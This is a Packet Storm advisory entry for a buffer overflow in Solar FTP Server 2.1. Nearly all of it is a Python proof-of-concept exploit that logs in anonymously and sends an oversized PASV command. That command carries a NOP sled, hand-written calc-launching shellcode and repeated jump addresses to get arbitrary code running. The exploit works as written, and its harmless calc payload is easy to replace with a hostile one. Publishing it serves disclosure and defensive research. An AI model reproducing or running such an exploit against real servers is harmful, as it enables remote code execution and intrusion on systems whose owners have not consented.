Solar FTP Server 2.1 Buffer Overflow

2011-01-10T00:00:00
ID PACKETSTORM:97396
Type packetstorm
Reporter AutoSec Tools
Modified 2011-01-10T00:00:00

Description

                                        
                                            `# ------------------------------------------------------------------------  
# Software................Solar FTP Server 2.1  
# Vulnerability...........Buffer Overflow  
# Download................http://www.solarftp.com/  
# Release Date............1/10/2011  
# Tested On...............Windows XP SP3 EN  
# ------------------------------------------------------------------------  
# Author..................John Leitch  
# Site....................http://www.johnleitch.net/  
# Email...................john.leitch5@gmail.com  
# ------------------------------------------------------------------------  
#   
# --Description--  
#   
# A buffer overflow in Solar FTP Server 2.1 can be exploited to execute  
# arbitrary code.  
#   
#   
# --PoC--  
  
import socket  
  
host = 'localhost'  
  
port = 21  
  
jmp_eax = '\xBF\x66\x02\x10'  
  
junk = '\xCC\xCC\xCC\xCC'  
  
nop_sled = '\x90\x90\x90' + '\x90\x90\x90\x90' * 2  
  
# Calc shellcode by yours truly. Check the task manager  
# as the calc instance will not be visible.  
shell_code = "\x31\xC9"\  
"\x51"\  
"\x68\x63\x61\x6C\x63"\  
"\x54"\  
"\xB8\xC7\x93\xC2\x77"\  
"\xFF\xD0"  
  
junk2 = 'A' * 7004  
  
  
bad_stuff = junk + nop_sled + shell_code + jmp_eax * 249 + junk2  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(8)  
  
print 'connecting'  
  
s.connect((host, port))  
  
print s.recv(8192)  
  
s.send('USER anonymous\r\n')  
print s.recv(8192)  
  
s.send('PASS x@x.com\r\n')  
print s.recv(8192)  
  
s.send('PASV ' + bad_stuff + '\r\n')  
print s.recv(8192)  
s.close()  
  
  
`